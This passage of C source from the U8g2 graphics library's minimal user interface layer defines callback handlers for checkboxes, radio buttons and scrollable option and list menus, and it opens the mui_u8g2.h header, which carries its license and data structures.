case MUIF_MSG_VALUE_INCREMENT: (*value)++; if ( mui_fds_get_nth_token(ui, *value) == 0 ) *value = 0; break; case MUIF_MSG_VALUE_DECREMENT: if ( *value > 0 ) (*value)--; else (*value) = mui_fds_get_token_cnt(ui)-1; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u8_opt_line_wa_mse_pf(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( mui_fds_get_nth_token(ui, *value) == 0 ) { *value = 0; mui_fds_get_nth_token(ui, *value); } mui_u8g2_draw_button_pf(ui, ui->arg, 1, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: (*value)++; if ( mui_fds_get_nth_token(ui, *value) == 0 ) *value = 0; break; case MUIF_MSG_VALUE_DECREMENT: if ( *value > 0 ) (*value)--; else (*value) = mui_fds_get_token_cnt(ui)-1; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u8_opt_line_wa_mud_pi(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( mui_fds_get_nth_token(ui, *value) == 0 ) { *value = 0; mui_fds_get_nth_token(ui, *value); } mui_u8g2_draw_button_pi(ui, ui->arg, 1, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { (*value)++; if ( mui_fds_get_nth_token(ui, *value) == 0 ) *value = 0; return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { if ( *value == 0 ) *value = mui_fds_get_token_cnt(ui); (*value)--; return 1; } break; } return 0; } uint8_t mui_u8g2_u8_opt_line_wa_mud_pf(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( mui_fds_get_nth_token(ui, *value) == 0 ) { *value = 0; mui_fds_get_nth_token(ui, *value); } mui_u8g2_draw_button_pf(ui, ui->arg, 1, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { (*value)++; if ( mui_fds_get_nth_token(ui, *value) == 0 ) *value = 0; return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { if ( *value == 0 ) *value = mui_fds_get_token_cnt(ui); (*value)--; return 1; } break; } return 0; } /* uint8_t mui_u8g2_u8_chkbox_wm_pi(mui_t *ui, uint8_t msg) Description: Checkbox with the values 0 (not selected) and 1 (selected). Message Handling: DRAW, SELECT Style No Selection: Plain checkbox and text Cursor Selection: Checkbox and text is inverted User interface field list (muif): flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE data: uint8_t *, pointer to a uint8_t variable, which contains the values 0 or 1 Field definition string (fds): xy: Left position of the text (required) arg: not used text: Optional: Text will be printed after the checkbox with a small gap */ uint8_t mui_u8g2_u8_chkbox_wm_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); u8g2_uint_t flags = 0; uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( *value > 1 ) *value = 1; if ( mui_IsCursorFocus(ui) ) { flags |= U8G2_BTN_INV; } { u8g2_uint_t w = 0; u8g2_uint_t a = u8g2_GetAscent(u8g2); if ( *value ) u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 1); else u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 0); if ( ui->text[0] != '\0' ) { w = u8g2_GetUTF8Width(u8g2, ui->text); //u8g2_SetFontMode(u8g2, 1); a += 2; /* add gap between the checkbox and the text area */ u8g2_DrawUTF8(u8g2, mui_get_x(ui)+a, mui_get_y(ui), ui->text); } u8g2_DrawButtonFrame(u8g2, mui_get_x(ui), mui_get_y(ui), flags, w+a, 1, MUI_U8G2_V_PADDING); } break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: (*value)++; if ( *value > 1 ) *value = 0; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } /* radio button style, arg is assigned as value */ uint8_t mui_u8g2_u8_radio_wm_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); u8g2_uint_t flags = 0; uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( mui_IsCursorFocus(ui) ) { flags |= U8G2_BTN_INV; } { u8g2_uint_t w = 0; u8g2_uint_t a = u8g2_GetAscent(u8g2); if ( *value == ui->arg ) u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 1); else u8g2_DrawCheckbox(u8g2, mui_get_x(ui), mui_get_y(ui), a, 0); if ( ui->text[0] != '\0' ) { w = u8g2_GetUTF8Width(u8g2, ui->text); //u8g2_SetFontMode(u8g2, 1); a += 2; /* add gap between the checkbox and the text area */ u8g2_DrawUTF8(u8g2, mui_get_x(ui)+a, mui_get_y(ui), ui->text); } u8g2_DrawButtonFrame(u8g2, mui_get_x(ui), mui_get_y(ui), flags, w+a, 1, MUI_U8G2_V_PADDING); } break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: *value = ui->arg; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u8_opt_parent_wm_pi(mui_t *ui, uint8_t msg) { uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( mui_fds_get_nth_token(ui, *value) == 0 ) { *value = 0; mui_fds_get_nth_token(ui, *value); } mui_u8g2_draw_button_pi(ui, 0, 1, ui->text); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: mui_SaveForm(ui); // store the current form and position so that the child can jump back mui_GotoForm(ui, ui->arg, *value); // assumes that the selectable values are at the beginning of the form definition break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u8_opt_child_mse_common(mui_t *ui, uint8_t msg) { uint8_t *value = (uint8_t *)muif_get_data(ui->uif); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: /* done by the calling function */ break; case MUIF_MSG_FORM_START: /* we can assume that the list starts at the top. It will be adjisted by cursor down events later */ /* ui->form_scroll_top = 0 and all other form_scroll values are set to 0 if a new form is entered in mui_EnterForm() */ if ( ui->form_scroll_visible <= arg ) ui->form_scroll_visible = arg+1; if ( ui->form_scroll_total == 0 ) ui->form_scroll_total = mui_GetSelectableFieldOptionCnt(ui, ui->last_form_fds); //printf("MUIF_MSG_FORM_START: arg=%d visible=%d top=%d total=%d\n", arg, ui->form_scroll_visible, ui->form_scroll_top, ui->form_scroll_total); break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: return mui_u8g2_handle_scroll_next_prev_events(ui, msg); case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: if ( value != NULL ) *value = ui->form_scroll_top + arg; mui_RestoreForm(ui); break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: return mui_u8g2_handle_scroll_next_prev_events(ui, msg); case MUIF_MSG_EVENT_PREV: return mui_u8g2_handle_scroll_next_prev_events(ui, msg); } return 0; } uint8_t mui_u8g2_u8_opt_radio_child_wm_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: { u8g2_uint_t w = 0; u8g2_uint_t a = u8g2_GetAscent(u8g2) - 2; u8g2_uint_t x = mui_get_x(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value u8g2_uint_t y = mui_get_y(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value uint8_t is_focus = mui_IsCursorFocus(ui); if ( *value == arg + ui->form_scroll_top ) u8g2_DrawValueMark(u8g2, x, y, a); if ( ui->text[0] == '\0' ) { /* if the text is not provided, then try to get the text from the previous (saved) element, assuming that this contains the selection */ /* this will overwrite all ui member functions, so we must not access any ui members (except ui->text) any more */ mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top); } if ( ui->text[0] != '\0' ) { w = u8g2_GetUTF8Width(u8g2, ui->text); //u8g2_SetFontMode(u8g2, 1); a += 2; /* add gap between the checkbox and the text area */ u8g2_DrawUTF8(u8g2, x+a, y, ui->text); } if ( is_focus ) { u8g2_DrawButtonFrame(u8g2, x, y, U8G2_BTN_INV, w+a, 1, MUI_U8G2_V_PADDING); } } break; default: return mui_u8g2_u8_opt_child_mse_common(ui, msg); } return 0; } uint8_t mui_u8g2_u8_opt_radio_child_w1_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: { //u8g2_uint_t w = 0; u8g2_uint_t a = u8g2_GetAscent(u8g2) - 2; u8g2_uint_t x = mui_get_x(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value u8g2_uint_t y = mui_get_y(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value uint8_t is_focus = mui_IsCursorFocus(ui); if ( *value == arg + ui->form_scroll_top ) u8g2_DrawValueMark(u8g2, x, y, a); if ( ui->text[0] == '\0' ) { /* if the text is not provided, then try to get the text from the previous (saved) element, assuming that this contains the selection */ /* this will overwrite all ui member functions, so we must not access any ui members (except ui->text) any more */ mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top); } if ( ui->text[0] != '\0' ) { //w = u8g2_GetUTF8Width(u8g2, ui->text); //u8g2_SetFontMode(u8g2, 1); a += 2; /* add gap between the checkbox and the text area */ u8g2_DrawUTF8(u8g2, x+a, y, ui->text); } if ( is_focus ) { u8g2_DrawButtonFrame(u8g2, 0, y, U8G2_BTN_INV, u8g2_GetDisplayWidth(u8g2), 0, MUI_U8G2_V_PADDING); } } break; default: return mui_u8g2_u8_opt_child_mse_common(ui, msg); } return 0; } uint8_t mui_u8g2_u8_opt_child_wm_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); //uint8_t *value = (uint8_t *)muif_get_data(ui->uif); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: { //u8g2_uint_t w = 0; u8g2_uint_t x = mui_get_x(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value u8g2_uint_t y = mui_get_y(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value uint8_t flags = mui_u8g2_get_pi_flags(ui); //if ( mui_IsCursorFocus(ui) ) //{ // flags = U8G2_BTN_INV; //} if ( ui->text[0] == '\0' ) { /* if the text is not provided, then try to get the text from the previous (saved) element, assuming that this contains the selection */ /* this will overwrite all ui member functions, so we must not access any ui members (except ui->text) any more */ mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top); } if ( ui->text[0] != '\0' ) { u8g2_DrawButtonUTF8(u8g2, x, y, flags, 0, 1, MUI_U8G2_V_PADDING, ui->text); } } break; default: return mui_u8g2_u8_opt_child_mse_common(ui, msg); } return 0; } /* an invisible field (which will not show anything). It should also not be selectable it just provides the menu entries, see "mui_u8g2_u8_opt_child_mse_common" and friends as a consequence it does not have width, input mode and style MUIF: MUIF_RO() FDS: MUI_DATA() mui_u8g2_goto_parent --> mui_u8g2_goto_data Used together with mui_u8g2_goto_form_w1_pi */ uint8_t mui_u8g2_goto_data(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: break; case MUIF_MSG_FORM_START: // store the field (and the corresponding elements) in the last_form_fds variable. // last_form_fds is later used to access the elements (see mui_u8g2_u8_opt_child_mse_common and friends) ui->last_form_fds = ui->fds; break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } /* mui_u8g2_goto_child_w1_mse_pi --> mui_u8g2_goto_form_w1_pi */ uint8_t mui_u8g2_goto_form_w1_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top) ) mui_u8g2_draw_button_pi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui), ui->text+1); break; case MUIF_MSG_CURSOR_SELECT: if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, ui->arg + ui->form_scroll_top) ) { mui_SaveCursorPosition(ui, ui->arg + ui->form_scroll_top); // store the current cursor position, so that the user can jump back to the corresponding cursor position return mui_GotoFormAutoCursorPosition(ui, (uint8_t)ui->text[0]); } break; default: return mui_u8g2_u8_opt_child_mse_common(ui, msg); } return 0; } uint8_t mui_u8g2_goto_form_w1_pf(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, arg + ui->form_scroll_top) ) mui_u8g2_draw_button_pf(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui)-1, ui->text+1); break; case MUIF_MSG_CURSOR_SELECT: if ( mui_GetSelectableFieldTextOption(ui, ui->last_form_fds, ui->arg + ui->form_scroll_top) ) { mui_SaveCursorPosition(ui, ui->arg + ui->form_scroll_top); // store the current cursor position, so that the user can jump back to the corresponding cursor position return mui_GotoFormAutoCursorPosition(ui, (uint8_t)ui->text[0]); } break; default: return mui_u8g2_u8_opt_child_mse_common(ui, msg); } return 0; } /* data: mui_u8g2_list_t * */ uint8_t mui_u8g2_u16_list_line_wa_mse_pi(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif); uint16_t *selection = mui_u8g2_list_get_selection_ptr(list); void *data = mui_u8g2_list_get_data_ptr(list); mui_u8g2_get_list_element_cb element_cb = mui_u8g2_list_get_element_cb(list); mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_pi(ui, ui->arg, 1, element_cb(data, *selection)); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, element_cb(data, *selection)); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: (*selection)++; if ( *selection >= count_cb(data) ) *selection = 0; break; case MUIF_MSG_VALUE_DECREMENT: if ( *selection > 0 ) (*selection)--; else (*selection) = count_cb(data)-1; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u16_list_line_wa_mud_pi(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif); uint16_t *selection = mui_u8g2_list_get_selection_ptr(list); void *data = mui_u8g2_list_get_data_ptr(list); mui_u8g2_get_list_element_cb element_cb = mui_u8g2_list_get_element_cb(list); mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_pi(ui, ui->arg, 1, element_cb(data, *selection)); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, element_cb(data, *selection)); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { (*selection)++; if ( *selection >= count_cb(data) ) *selection = 0; return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { if ( *selection == 0 ) *selection = count_cb(data); (*selection)--; return 1; } break; } return 0; } /* MUIF: MUIF_U8G2_U16_LIST FDS: MUI_XYA, arg=form id data: mui_u8g2_list_t * */ uint8_t mui_u8g2_u16_list_parent_wm_pi(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif); uint16_t *selection = mui_u8g2_list_get_selection_ptr(list); void *data = mui_u8g2_list_get_data_ptr(list); mui_u8g2_get_list_element_cb element_cb = mui_u8g2_list_get_element_cb(list); //mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_pi(ui, 0, 1, element_cb(data, *selection)); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, element_cb(data, *selection)); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: mui_SaveForm(ui); // store the current form and position so that the child can jump back mui_GotoForm(ui, ui->arg, *selection); // assumes that the selectable values are at the beginning of the form definition break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } static uint8_t mui_u8g2_u16_list_child_mse_common(mui_t *ui, uint8_t msg) { mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif); uint16_t *selection = mui_u8g2_list_get_selection_ptr(list); void *data = mui_u8g2_list_get_data_ptr(list); //mui_u8g2_get_list_element_cb element_cb = mui_u8g2_list_get_element_cb(list); mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list); uint8_t arg = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: /* done by the calling function */ break; case MUIF_MSG_FORM_START: /* we can assume that the list starts at the top. It will be adjisted by cursor down events later */ ui->form_scroll_top = 0; if ( ui->form_scroll_visible <= arg ) ui->form_scroll_visible = arg+1; if ( ui->form_scroll_total == 0 ) ui->form_scroll_total = count_cb(data); break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: return mui_u8g2_handle_scroll_next_prev_events(ui, msg); case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: if ( selection != NULL ) *selection = ui->form_scroll_top + arg; mui_RestoreForm(ui); break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: return mui_u8g2_handle_scroll_next_prev_events(ui, msg); case MUIF_MSG_EVENT_PREV: return mui_u8g2_handle_scroll_next_prev_events(ui, msg); } return 0; } uint8_t mui_u8g2_u16_list_child_w1_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif); uint16_t *selection = mui_u8g2_list_get_selection_ptr(list); void *data = mui_u8g2_list_get_data_ptr(list); mui_u8g2_get_list_element_cb element_cb = mui_u8g2_list_get_element_cb(list); mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list); uint16_t pos = ui->arg; // remember the arg value, because it might be overwritten switch(msg) { case MUIF_MSG_DRAW: { //u8g2_uint_t w = 0; u8g2_uint_t a = u8g2_GetAscent(u8g2) - 2; u8g2_uint_t x = mui_get_x(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value u8g2_uint_t y = mui_get_y(ui); // if mui_GetSelectableFieldTextOption is called, then field vars are overwritten, so get the value uint8_t is_focus = mui_IsCursorFocus(ui); pos += ui->form_scroll_top; if ( *selection == pos ) u8g2_DrawValueMark(u8g2, x, y, a); //u8g2_SetFontMode(u8g2, 1); a += 2; /* add gap between the checkbox and the text area */ if ( pos < count_cb(data) ) u8g2_DrawUTF8(u8g2, x+a, y, element_cb(data, pos)); if ( is_focus ) { u8g2_DrawButtonFrame(u8g2, 0, y, U8G2_BTN_INV, u8g2_GetDisplayWidth(u8g2), 0, MUI_U8G2_V_PADDING); } } break; default: return mui_u8g2_u16_list_child_mse_common(ui, msg); } return 0; } uint8_t mui_u8g2_u16_list_goto_w1_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_list_t *list = (mui_u8g2_list_t *)muif_get_data(ui->uif); uint16_t *selection = mui_u8g2_list_get_selection_ptr(list); void *data = mui_u8g2_list_get_data_ptr(list); mui_u8g2_get_list_element_cb element_cb = mui_u8g2_list_get_element_cb(list); //mui_u8g2_get_list_count_cb count_cb = mui_u8g2_list_get_count_cb(list); uint16_t pos = ui->arg; // remember the arg value, because it might be overwritten pos += ui->form_scroll_top; switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_pi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui), element_cb(data, pos)+1); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui), MUI_U8G2_V_PADDING, element_cb(data, pos)+1); break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: if ( selection != NULL ) *selection = pos; mui_SaveCursorPosition(ui, pos >= 255 ? 0 : pos); // store the current cursor position, so that the user can jump back to the corresponding cursor position mui_GotoFormAutoCursorPosition(ui, (uint8_t)element_cb(data, pos)[0]); break; default: return mui_u8g2_u16_list_child_mse_common(ui, msg); } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/mui_u8g2.h ================================================ /* mui_u8g2.h Monochrome minimal user interface: Glue code between mui and u8g2. Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Reference Manual: https://github.com/olikraus/u8g2/wiki/muiref MUIF_U8G2_LABEL() replacement for MUIF_LABEL(mui_u8g2_draw_text), used by MUI_LABEL(x,y,"text") Supports UTF8 MUIF_U8G2_FONT_STYLE(n, font) A special u8g2 style function, which replaces MUIF_STYLE, but restricts the style change to the specific font argument (however, this should be good enough in most cases). As usual, the style "n" can be activated with MUI_STYLE(n) in FDS. Example: muif_t muif_list[] MUI_PROGMEM = { MUIF_U8G2_LABEL(), MUIF_U8G2_FONT_STYLE(0, u8g2_font_5x8_tr) }; fds_t fds[] MUI_PROGMEM = MUI_FORM(1) MUI_STYLE(0) MUI_LABEL(5,12, "5x8 Font") ; */ #ifndef MUI_U8G2_H #define MUI_U8G2_H #include "mui.h" /*==========================================*/ /* C++ compatible */ #ifdef __cplusplus extern "C" { #endif #define MUI_U8G2_COMMA , typedef const char * (*mui_u8g2_get_list_element_cb)(void *data, uint16_t index); typedef uint16_t (*mui_u8g2_get_list_count_cb)(void *data); struct mui_u8g2_list_struct { uint16_t *selection; void *data; mui_u8g2_get_list_element_cb get_list_element; mui_u8g2_get_list_count_cb get_list_count; } MUI_PROGMEM; typedef const struct mui_u8g2_list_struct mui_u8g2_list_t; #if defined(__GNUC__) && defined(__AVR__) # define mui_u8g2_list_get_selection_ptr(list) ((uint16_t *)mui_pgm_wread(&((list)->selection))) # define mui_u8g2_list_get_data_ptr(list) ((void *)mui_pgm_wread(&((list)->data))) # define mui_u8g2_list_get_element_cb(list) ((mui_u8g2_get_list_element_cb)mui_pgm_wread(&((list)->get_list_element))) # define mui_u8g2_list_get_count_cb(list) ((mui_u8g2_get_list_count_cb)mui_pgm_wread(&((list)->get_list_count))) #else # define mui_u8g2_list_get_selection_ptr(list) ((list)->selection) # define mui_u8g2_list_get_data_ptr(list) ((list)->data) # define mui_u8g2_list_get_element_cb(list) ((list)->get_list_element) # define mui_u8g2_list_get_count_cb(list) ((list)->get_list_count) #endif struct mui_u8g2_u8_min_max_struct { uint8_t *value; uint8_t min; uint8_t max; } MUI_PROGMEM; typedef const struct mui_u8g2_u8_min_max_struct mui_u8g2_u8_min_max_t; #if defined(__GNUC__) && defined(__AVR__) # define mui_u8g2_u8mm_get_min(u8mm) mui_pgm_read(&((u8mm)->min)) # define mui_u8g2_u8mm_get_max(u8mm) mui_pgm_read(&((u8mm)->max)) # define mui_u8g2_u8mm_get_valptr(u8mm) ((uint8_t *)mui_pgm_wread(&((u8mm)->value))) #else # define mui_u8g2_u8mm_get_min(u8mm) ((u8mm)->min) # define mui_u8g2_u8mm_get_max(u8mm) ((u8mm)->max) # define mui_u8g2_u8mm_get_valptr(u8mm) ((u8mm)->value) #endif struct mui_u8g2_u8_min_max_step_struct 